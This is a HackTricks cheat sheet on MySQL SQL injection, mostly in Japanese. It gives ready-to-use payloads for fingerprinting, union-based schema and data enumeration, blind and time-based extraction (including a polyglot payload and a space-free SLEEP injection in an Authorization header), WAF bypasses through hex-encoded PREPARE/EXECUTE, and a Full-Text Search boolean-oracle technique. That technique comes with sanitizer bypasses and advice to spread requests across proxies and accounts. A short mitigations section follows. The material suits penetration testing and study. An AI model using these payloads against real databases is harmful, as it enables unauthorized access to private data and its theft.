MySQL injection

Reading time: 14 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

コメント

sql
-- MYSQL Comment
# MYSQL Comment
/* MYSQL Comment */
/*! MYSQL Special SQL */
/*!32302 10*/ Comment for MySQL version 3.23.02

興味深い関数

Mysqlの確認:

concat('a','b')
database()
version()
user()
system_user()
@@version
@@datadir
rand()
floor(2.9)
length(1)
count(1)

便利な関数

sql
SELECT hex(database())
SELECT conv(hex(database()),16,10) # Hexadecimal -> Decimal
SELECT DECODE(ENCODE('cleartext', 'PWD'), 'PWD')# Encode() & decpde() returns only numbers
SELECT uncompress(compress(database())) #Compress & uncompress() returns only numbers
SELECT replace(database(),"r","R")
SELECT substr(database(),1,1)='r'
SELECT substring(database(),1,1)=0x72
SELECT ascii(substring(database(),1,1))=114
SELECT database()=char(114,101,120,116,101,115,116,101,114)
SELECT group_concat(<COLUMN>) FROM <TABLE>
SELECT group_concat(if(strcmp(table_schema,database()),table_name,null))
SELECT group_concat(CASE(table_schema)When(database())Then(table_name)END)
strcmp(),mid(),,ldap(),rdap(),left(),rigth(),instr(),sleep()

すべての injection

sql
SELECT * FROM some_table WHERE double_quotes = "IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1))/*'XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR'|"XOR(IF(SUBSTR(@@version,1,1)<5,BENCHMARK(2000000,SHA1(0xDE7EC71F1)),SLEEP(1)))OR"*/"

出典: https://labs.detectify.com/2013/05/29/the-ultimate-sql-injection-payload/

フロー

"modern" バージョンの MySQL では、"information_schema.tables" を "mysql.innodb_table_stats"" の代わりに使えることを覚えておいてください。 (これはWAFsをbypassするのに有用な場合があります。)

sql
SELECT table_name FROM information_schema.tables WHERE table_schema=database();#Get name of the tables
SELECT column_name FROM information_schema.columns WHERE table_name="<TABLE_NAME>"; #Get name of the columns of the table
SELECT <COLUMN1>,<COLUMN2> FROM <TABLE_NAME>; #Get values
SELECT user FROM mysql.user WHERE file_priv='Y'; #Users with file privileges

単一の値のみ

  • group_concat()
  • Limit X,1

ブラインド(1文字ずつ)

  • substr(version(),X,1)='r' or substring(version(),X,1)=0x70 or ascii(substr(version(),X,1))=112
  • mid(version(),X,1)='5'

ブラインド(追加)

  • LPAD(version(),1...lenght(version()),'1')='asd'...
  • RPAD(version(),1...lenght(version()),'1')='asd'...
  • SELECT RIGHT(version(),1...lenght(version()))='asd'...
  • SELECT LEFT(version(),1...lenght(version()))='asd'...
  • SELECT INSTR('foobarbar', 'fo...')=1

列数の検出

単純な ORDER を使用

order by 1
order by 2
order by 3
...
order by XXX

UniOn SeLect 1
UniOn SeLect 1,2
UniOn SeLect 1,2,3
...

MySQL Union Based

sql
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,schema_name,0x7c)+fRoM+information_schema.schemata
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,table_name,0x7C)+fRoM+information_schema.tables+wHeRe+table_schema=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,column_name,0x7C)+fRoM+information_schema.columns+wHeRe+table_name=...
UniOn Select 1,2,3,4,...,gRoUp_cOncaT(0x7c,data,0x7C)+fRoM+...

SSRF

ここでは異なるオプションを説明します abuse a Mysql injection to obtain a SSRF

WAF bypass tricks

Prepared Statements を用いたクエリの実行

stacked queries が許可されている場合、実行したいクエリの hex representation を変数に代入(SET を使用)し、PREPARE と EXECUTE MySQL ステートメントを使って最終的にクエリを実行することで WAF を回避できる場合があります。例えば次のようになります:

0); SET @query = 0x53454c45435420534c454550283129; PREPARE stmt FROM @query; EXECUTE stmt; #

詳細についてはthis blog postを参照してください。

Information_schema の代替

「modern」バージョンの MySQL では information_schema.tablesmysql.innodb_table_statssys.x$schema_flattened_keys、または sys.schema_table_statistics に置き換えられることを覚えておいてください。

MySQLinjection カンマなし

カンマを一切使わずに2列を選択する方法 (https://security.stackexchange.com/questions/118332/how-make-sql-select-query-without-comma):

-1' union select * from (select 1)UT1 JOIN (SELECT table_name FROM mysql.innodb_table_stats)UT2 on 1=1#

カラム名が分からない場合に値を取得する

もしテーブル名は分かっているが、そのテーブル内のカラム名が分からない場合、次のようなクエリを実行してカラム数を調べることができます:

bash
# When a True is returned, you have found the number of columns
select (select "", "") = (SELECT * from demo limit 1);     # 2columns
select (select "", "", "") < (SELECT * from demo limit 1); # 3columns

列が2つあり(1列目が ID、もう1列が flag)であれば、1文字ずつ試して flag の内容を bruteforce できます:

bash
# When True, you found the correct char and can start ruteforcing the next position
select (select 1, 'flaf') = (SELECT * from demo limit 1);

詳細は https://medium.com/@terjanq/blind-sql-injection-without-an-in-1e14ba1d4952

SPACESなしの Injection (/**/ comment trick)

一部のアプリケーションは sscanf("%128s", buf) のような関数でユーザー入力をサニタイズまたは解析し、最初のスペース文字で停止します。 MySQL はシーケンス /**/ をコメント かつ 空白として扱うため、クエリの構文を有効なままに保ちながらペイロード中の通常のスペースを完全に取り除くために使用できます。

スペースフィルタをバイパスする、time-based blind injection の例:

http
GET /api/fabric/device/status HTTP/1.1
Authorization: Bearer AAAAAA'/**/OR/**/SLEEP(5)--/**/-'

データベースが受け取るのは:

sql
' OR SLEEP(5)-- -'

これは特に次の場合に便利です:

  • 制御可能なバッファのサイズが制限されている(例: %128s)ため、スペースで入力が途中で終了してしまう場合。
  • 通常のスペースが除去されたり区切り文字として使われる HTTP ヘッダやその他のフィールドを介して注入する場合。
  • 完全な pre-auth RCE を達成するために INTO OUTFILE プリミティブと組み合わせる場合(MySQL File RCE セクション参照)。

MySQL の履歴

MySQL 内部での他の実行は、テーブル: sys.x$statement_analysis を参照することで確認できます。

バージョンの代替s

mysql> select @@innodb_version;
mysql> select @@version;
mysql> select version();

MySQL Full-Text Search (FTS) BOOLEAN MODE operator abuse (WOR)

これは古典的な SQL injection ではありません。開発者がユーザー入力を MATCH(col) AGAINST('...' IN BOOLEAN MODE) に渡すと、MySQL は引用された文字列の内部で豊富なブール検索演算子群を実行します。多くの WAF/SAST ルールはクォートの脱出(quote breaking)のみに注目しており、この攻撃面を見落としがちです。

Key points:

  • Operators are evaluated inside the quotes: + (必ず含む), - (含めてはいけない), * (末尾ワイルドカード), "..." (完全一致フレーズ), () (グルーピング), </>/~ (重み)。See MySQL docs.
  • これにより、文字列リテラルを脱出することなく存在/不在やプレフィックスのテストが可能になります。例: AGAINST('+admin*' IN BOOLEAN MODE)admin で始まる任意の用語があるかを確認します。
  • oracles を構築したり(例:「任意の行がプレフィックス X を持つ用語を含んでいるか?」)、プレフィックス展開によって隠れた文字列を列挙したりするのに有用です。

Example query built by the backend:

sql
SELECT tid, firstpost
FROM threads
WHERE MATCH(subject) AGAINST('+jack*' IN BOOLEAN MODE);

If the application returns different responses depending on whether the result set is empty (e.g., redirect vs. error message), that behavior becomes a Boolean oracle that can be used to enumerate private data such as 非表示/削除されたタイトル.

Sanitizer bypass patterns (generic):

  • Boundary-trim preserving wildcard: バックエンドが (\b.{1,2})(\s)|(\b.{1,2}$) のような正規表現で単語ごとに末尾1〜2文字をトリムする場合、prefix*ZZ を送信してください。cleaner は ZZ をトリムしますが * を残すため、prefix* が残ります。
  • Early-break stripping: コードが単語ごとにオペレータを削除するが、長さが ≥ min length のトークンを見つけた時点で処理を中断する場合、2つのトークンを送ってください: 最初は長さ閾値を満たすジャンクトークン、2番目がオペレータペイロードを担います。例えば: &&&&& +jack*ZZ → after cleaning: +&&&&& +jack*.

ペイロードテンプレート(URLエンコード済み):

keywords=%26%26%26%26%26+%2B{FUZZ}*xD
  • %26&%2B+。末尾の xD(または任意の2文字)はクリーンナーによってトリムされますが、{FUZZ}* は保持されます。
  • リダイレクトは「match」と見なし、エラーページは「no match」と見なしてください。オラクルを観測可能に保つため、リダイレクトを自動追跡しないでください。

Enumeration workflow:

  1. 最初に {FUZZ} = a…z,0…9 を使い、+a*+b* … のように先頭文字のマッチを探します。
  2. 肯定的なプレフィックスごとにブランチします: a* → aa* / ab* / …。文字列全体を復元するまで繰り返します。
  3. アプリがフラッド制御を実施している場合は、リクエストを分散させてください(プロキシ、複数アカウントなど)。

なぜタイトルがしばしば leak し、コンテンツはしないのか:

  • 一部のアプリは、タイトル/件名に対する予備的な MATCH の後でのみ可視性チェックを行います。フィルタリングの前に制御フローが “any results?” の結果に依存する場合、存在に関する leak が発生します。

Mitigations:

  • Boolean 論理が不要なら、IN NATURAL LANGUAGE MODE を使用するか、ユーザ入力をリテラルとして扱ってください(エスケープ/引用で他のモードでのオペレータを無効化します)。
  • Boolean mode が必要な場合は、トークン化後にすべてのトークンについてすべての Boolean オペレータ(+ - * " ( ) < > ~)を削除または無効化してください(途中で処理を中断しないこと)。
  • 可視性/認可フィルタを MATCH の前に適用するか、結果セットが空の場合と非空の場合でレスポンスを統一(一定のタイミング/ステータス)してください。
  • 他の DBMS における類似機能も確認してください: PostgreSQL の to_tsquery/websearch_to_tsquery、SQL Server/Oracle/Db2 の CONTAINS も引用された引数内のオペレータを解析します。

Notes:

  • Prepared statements は REGEXP や検索オペレータの意味的な悪用を防ぎません。.* のような入力は、引用された REGEXP '.*' の内部であっても許容的な正規表現のままです。許可リストや明示的なガードを使用してください。

Other MYSQL injection guides

References

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする